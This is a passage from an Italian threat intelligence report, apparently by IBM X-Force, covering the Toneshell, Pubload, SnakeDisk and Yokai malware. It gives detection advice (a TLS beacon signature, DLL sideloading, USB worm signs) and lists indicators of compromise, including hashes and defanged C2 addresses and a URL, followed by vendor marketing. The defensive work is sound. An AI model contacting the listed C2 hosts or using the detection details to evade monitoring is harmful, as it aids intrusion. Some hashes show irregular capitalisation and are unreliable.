  • Prestare attenzione alle e-mail o ai PDF contenenti link per il download di Google Drive, Box Cloud Storage o Dropbox.
  • Prestare attenzione agli archivi scaricati, anche se contengono documenti previsti. Addestrare il personale a visualizzare e riconoscere le estensioni di file inaspettate.
  • Monitorare e cercare nelle reti i pacchetti di dati di applicazione TLS 1.2 (intestazione: 17 03 03) senza un precedente handshake TLS come segno di un beacon Pubload o Toneshell.
  • Monitora e cerca unità USB contenenti nomi eseguibili sospetti, DLL e directory nascoste che potrebbero indicare un dispositivo infetto da un worm USB.
  • Monitorare e cercare directory sospette e sconosciute in C:\ProgramData\ che contengono un EXE legittimo vulnerabile al caricamento laterale di DLL e una DLL corrispondente.
  • Monitorare e cercare le tecniche di persistenza nel registro e nelle attività pianificate.
  • Cercare processi, traffico di rete e IoC dettagliati in questo rapporto.
  • Monitorare qualsiasi attività insolita di rete, persistenza o modifica di file proveniente da processi eseguibili apparentemente innocui che caricano lateralmente una DLL dannosa.

Indicatori di compromesso

Indicatore

Tipo di indicatore

Contesto

F8B28CAE687BD55A148D363D58F1
3a797486f12221F0e0d080FFB53611
d54231

SHA256

Archivio weaponized che fornisce Toneshell8

8132beeb25ce7baed0b561922d26
4b2a9852957df7b6a3daacfbb3a9
69485c79

SHA256

Archivio weaponized che fornisce Toneshell8

d1466dca25e28f0b7fae71d5c2abc0
7b397037a9e674f38602690e96cc5
b2bd4

SHA256

Archivio weaponized che fornisce Toneshell8

1272a0853651069ed4dc505007e85
25f99e1454f9e033bcc2e58d60fdaf
a4f02

SHA256

Archivio weaponized che fornisce Toneshell8

b8c31b8d8af9e6eae15f30019e39c
52b1a53aa1c8b0c93c8d075254ed
10d8dfc 

SHA256

Archivio weaponized che fornisce Toneshell7

7087e84f69c47910fd39c3869a70
6e55324783af8d03465a9e7bfde
52fe4d1d6 

SHA256

Archivio weaponized che consegna Pubload

38fcd10100f1bfd75f8dc0883b0c
2cb48321ef1c57906798a422f2a2
De17D50C 

SHA256

Archivio weaponized che consegna Pubload

69cb87b2d8ee50f46dae791b5a0
c5735a7554cc3c21bb1d989baa0f3
8c45085c

SHA256

PDF contenente l'URL di download per l'archivio weaponized

564a03763879aaed4da8a8c1d60
67f4112d8e13bb46c2f80e0fcb9ffd
D40384C

SHA256

Loader che carica Toneshell7

e4bb60d8996999fd84126f9fa0df
f72314610c56fffca3d11f3b6fc93fc
B75E00 

SHA256

Loader che carica Pubload

c2d1ff85e9bb8feb14fd015dcee1
66c2e52e226c07e23acc348815
c0eb4608 

SHA256

Loader che carica Pubload

188.208.141[.]196

IPv4

Server Pubload C2

bdbc936ddc9234385317c4ee83
bda087e389235c4a182736fc597
565042f7644

SHA256

Toneshell 8 backdoor

f0fec3b271b83e23ed7965198f3b
00eece45bd836bf10c038e99106
75bafefb1

SHA256

Toneshell 8 backdoor

e7b29611c789a6225aebbc9fee37
10a57b51537693cb2ec16e2177c22
392b546

SHA256

Toneshell 8 backdoor

9ca5b2cbc3677a5967c448d9d21
eb56956898ccd08c06b372c6471f
b68d37d7d

SHA256

Toneshell 8 backdoor

146.70.29[.]229

IPv4

Server Toneshell7/Toneshell8 C2

318a1ebc0692d1d012d20d306
d6634b196cc387b1f4bc38f97d
d437f117c7e20

SHA256

Backdoor Toneshell9

0d632a8f6dd69566ad98db56
e53c8f16286a59ea2bea81c2761
d43b6ab4ecafd

SHA256

Archivio weaponized che fornisce Toneshell9

39e7bbcceddd16f6c4f2fc2335a
50c534e182669cb5fa90cbe29e
49ec6dfd0df

SHA256

Archivio weaponized che fornisce Toneshell9

05eb6a06b404b6340960d7a6
cf6b1293e706ce00d7cba9a8b7
2b3780298dc25d

SHA256

Loader contenente il fork Toneshell che è servito come base per Toneshell9

123.253.34[.]44

IPv4

Server Toneshell9 C2

www.slickvpn[.]com

Dominio

Server Toneshell9 C2

dd694aaf44731da313e4594d
6CA34A6B8E0FCCE505E39F827
3b9242fdf6220e0

SHA256

Worm USB SnakeDisk

bb5bb82e5caf7d4dbbe878b7
5b23f793a5f3c5ca6dba70d8b
e447e8c004d26CE 

SHA256

Il payload EXE benigno di SnakeDisk usato per il sideload DLL di Yokai

35bec1d8699d29c27b66e564
6e58d25ce85ea1e41481d048b
cea89ea94f8fb4b 

SHA256

Yokai backdoor DLL

http://118.174.183[.]89/kptinfo
/import/index.php

URL

Server Yokai C2

IBM X-Force Premier Threat Intelligence è ora integrato con OpenCTI di Filigran, offrendo informazioni fruibili sulle minacce e molto altro ancora. Accedi a insight su attori delle minacce, malware e rischi dei settori. Installa il connettore X-Force OpenCTI per migliorare il rilevamento e la risposta, rafforzando la tua cybersecurity con l'esperienza di IBM X-Force. Ottieni subito una prova di 30 giorni di X-Force Premier Threat Intelligence!

Soluzioni correlate
Servizi di gestione delle minacce

Prevedi, previeni e reagisci alle minacce moderne aumentando la resilienza aziendale.

 

Esplora i servizi di gestione delle minacce
Soluzioni di rilevamento e risposta alle minacce

Utilizza le soluzioni IBM per il rilevamento e la risposta alle minacce per rafforzare la sicurezza e accelerare il rilevamento delle minacce.

Esplora le soluzioni di rilevamento delle minacce
Soluzioni di difesa dalle minacce ai dispositivi mobili (Mobile threat defense, MTD)

Proteggi il tuo ambiente con le soluzioni complete di difesa dalle minacce mobile di IBM MaaS360.

Esplora le soluzioni di difesa dalle minacce ai dispositivi mobili
Fai il passo successivo

Adotta soluzioni complete di gestione delle minacce, proteggendo in modo esperto la tua azienda dagli attacchi informatici.

  1. Esplora i servizi di gestione delle minacce
  2. Prenota un briefing sulle minacce